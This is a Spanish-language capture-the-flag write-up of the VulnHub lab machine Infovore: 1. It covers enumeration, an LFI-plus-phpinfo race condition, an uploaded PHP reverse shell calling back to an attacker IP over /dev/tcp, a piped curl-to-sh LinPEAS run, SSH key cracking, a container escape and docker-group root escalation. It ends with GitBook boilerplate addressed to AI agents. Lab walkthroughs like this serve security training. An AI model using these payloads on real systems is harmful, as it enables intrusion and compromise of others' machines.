> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md).

# Infovore: 1 Análisis de VulnHub

{% embed url="<https://www.vulnhub.com/entry/infovore-1,496/>" %}

{% hint style="warning" %}
Habilidades:

* Enumeración web
* LFI (Inclusión de archivos locales)
* Abusar de file/\_uploads visible en info.php (LFI2RCE mediante phpinfo() + condición de carrera)
* Enumeración del sistema (Linpeas)
* Crackeo de clave privada SSH protegida
* Abusar de la confianza en el par de claves SSH para escapar del contenedor
* Abusar del grupo docker (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

#### **Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/a55d727c46cb86ede097deb553707e22f49d0c53" alt=""><figcaption></figcaption></figure>

#### **Descubrimiento de la dirección IP con arp-scan:**

Usando el comando arp-scan para detectar la dirección IP de la máquina:

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/04acf0f1997040f4ee5269a3a3ef3fc4982fbd49" alt=""><figcaption></figcaption></figure>

#### **Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts
```

<figure><img src="/files/de715d8a0b37ce5d1995d36260439e9b719861ae" alt=""><figcaption></figcaption></figure>

#### **Escaneo de versión de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
 nmap -sCV -p80 192.168.71.146 -oN targeted
```

<figure><img src="/files/2d0f0c76ee67b3a30deed3aba09ea912fc0cfa6d" alt=""><figcaption></figcaption></figure>

#### Escaneo del servidor con Wappalyzer:

Usando Wappalyzer para determinar que el servidor utiliza Apache y el lenguaje de programación PHP.

<figure><img src="/files/005b21a4079e0038b933355c77546da0401b8a72" alt=""><figcaption></figcaption></figure>

#### **Identifica la versión objetivo con WhatWeb**

Usando WhatWeb para escanear el sitio web e identificar la versión de la máquina (Ubuntu) y Apache:

```bash
whatweb http://192.168.71.146
```

<figure><img src="/files/5827afb1019971cb91bb580d31fbf2eca402490f" alt=""><figcaption></figcaption></figure>

## Reconocimiento de `info.php`

**Buscar directorios con Gobuster:**

Utilice **Gobuster** con un diccionario para encontrar archivos de acceso ocultos.

```bash
gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak
```

<figure><img src="/files/7cab93a3ab6a006600ede135fee75ffd16acc300" alt=""><figcaption></figcaption></figure>

Se localizó un archivo llamado **info.php** que incluye toda la configuración PHP del servidor.

<figure><img src="/files/ddf594d1f8eb0b6f52c26a442d1f7ce7153cc6c6" alt=""><figcaption></figcaption></figure>

Se puede observar que no hay ninguna función desactivada.

<figure><img src="/files/815000f18e9ce3f334f873d3cb1dec3e74e5909f" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de subida de archivos:

Después de localizar el archivo `info.php` explora la posibilidad de subir archivos al servidor.

<figure><img src="/files/bb53e1b1b572c5aec6970c1703f254b22aa54853" alt=""><figcaption></figcaption></figure>

**Interceptar con Burp Suite:**

Usa Burp Suite para interceptar la solicitud. Cambia el método de "GET" a "POST".<br>

<figure><img src="/files/b38bb0d6e56f2ab4405ed6d26a2cd33c5eb7642f" alt=""><figcaption></figcaption></figure>

#### Solicitud para importar un archivo de texto al servidor:

Usa la siguiente solicitud de Burp Suite para subir un archivo llamado `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain

Esto es una prueba
----pwned
```

<figure><img src="/files/e7aaf3f0c8eb90ac428dc07fd91f1f05b2b59858" alt=""><figcaption></figcaption></figure>

**Inyección de código PHP:**

Intenta inyectar código PHP usando la misma estructura de Burp Suite. Cambia el contenido del archivo a inyectar.

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned
```

#### Confirmación de la inyección:

Comprueba si la inyección fue exitosa confirmando la presencia del archivo "cmd.php" en el servidor.

<figure><img src="/files/d6e28949e31a4f3298bf15bd36f7977e5d85b241" alt=""><figcaption></figcaption></figure>

#### Búsqueda de LFI

Para encontrar una vulnerabilidad LFI, usamos la herramienta wfuz para identificar un posible parámetro que redirija a un archivo PHP. El comando es el siguiente:

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"
```

<figure><img src="/files/3bcc15c9b7f96c8a5b6c23193f3b47a36b1a361c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cba833ff5abd4dbecff240f2e78ad1694df08701" alt=""><figcaption></figcaption></figure>

#### Dificultad con el cambio constante de archivo:

Desafortunadamente, no podemos listar el contenido del archivo cmd.php debido al cambio constante de la carpeta temporal:

<figure><img src="/files/f35a4c80552eeca77e3868e479a0a2155335d373" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de condición de carrera:

Usa un [script automatizado](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) para explotar la condición de carrera en el proceso.

#### Adaptación del script

Adaptamos el script a nuestra situación particular.

<figure><img src="/files/4098f14d561aac44a54e8b353e6998976c24c142" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/68167d393062dc244f21caba34e32247a2059e42" alt=""><figcaption></figcaption></figure>

#### Acceso exitoso a la máquina:

Logramos obtener acceso a la máquina aprovechando la condición de carrera.

<figure><img src="/files/d46b292de42e7b231c271e60b656e3e9cc64d99d" alt=""><figcaption></figcaption></figure>

#### Estabilización de la terminal para la escalada de privilegios:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Escalada de privilegios:

Observamos que estamos en un contenedor y usamos el comando para encontrar la dirección del contenedor real (192.168.150.1). Luego comprobamos si el puerto 22 está abierto en esta máquina.

<figure><img src="/files/5fd18798f896b92eb75b662e83a0c864ffa574e4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1b0c52ba1f69afe75502149b28537e6c17f1cd5c" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="/files/98c8755c872359ddd85a3c151505c6b0087a89d0" alt=""><figcaption></figcaption></figure>

### **Enumeración del sistema (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Usamos LinPEAS para el reconocimiento de privilegios:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/abd8df071654347f0fd793ae963f73df27dbcb55" alt=""><figcaption></figcaption></figure>

#### Encontramos una carpeta tgz inesperada en el directorio raíz.

<figure><img src="/files/3b1f13b1fd1dbcd035a60335e950552217f0ad7d" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### /*/* Crackeo de clave SSH privada protegida:/*/*

#### Identificación de clave SSH privada

Identificamos un par de claves SSH pública y privada de OpenSSH.

<figure><img src="/files/dd33a6a817991392d2c552ad0ea0edd84447499b" alt=""><figcaption></figcaption></figure>

#### Crackeo de la clave privada:

* Observamos que la clave privada está cifrada

<figure><img src="/files/e92abb0ef95c6cc9ec74b16c95e6303fd2762da9" alt=""><figcaption></figcaption></figure>

* Usamos **ssh2john.py** para convertir el contenido del archivo en un hash:

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="/files/a371296e760ab41aa24a4274e6e05a30e83d38b8" alt=""><figcaption></figcaption></figure>

* Luego usamos John the Ripper para romper el hash con una lista de contraseñas.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/05febe4de36e39455b85a4d6b5ba1bf1ceb0d139" alt=""><figcaption></figcaption></figure>

#### Acceso como root:

Obtenemos acceso a la máquina como root.

<figure><img src="/files/ab8e112e5587f7147b6fda9750ad0752b9d47a0f" alt=""><figcaption></figcaption></figure>

### **Abusar de la confianza en el par de claves SSH para escapar del contenedor:**

Intentamos migrar a otra máquina usando la configuración known\_hosts en el directorio ssh del contenedor, lo que nos permite conectarnos al usuario admin en la máquina host.

<figure><img src="/files/6affae4a4a3931d085f8f1ae5294f750b6e03dc9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e6ddd74cb16eaabf5622fdc8718da52bdd4b0e74" alt=""><figcaption></figcaption></figure>

### **Abuso del grupo Docker (Escalada de privilegios):**

#### [docker](/es/privesc/user-groups/docker-group-linux-privilege-escalation.md) Pertenencia al grupo:

Observamos que formamos parte del grupo docker.

<figure><img src="/files/3ece02a1db644ac3f0208f90849ba9a55420dabf" alt=""><figcaption></figcaption></figure>

#### Uso del grupo docker para superar privilegios:

Aprovechamos nuestra pertenencia al grupo docker para montar la máquina real en un contenedor con privilegios de administrador:

```bash
docker run -dit -v /:/mnt/root --name privesc theart42/infovore
```

<figure><img src="/files/3b85092ac72e147af37320ca7aac2b53dda5acbf" alt=""><figcaption></figcaption></figure>

COMPROMETIDO :)

<figure><img src="/files/156396d00dd7bf5ee5edff6033c9d5e212b30789" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
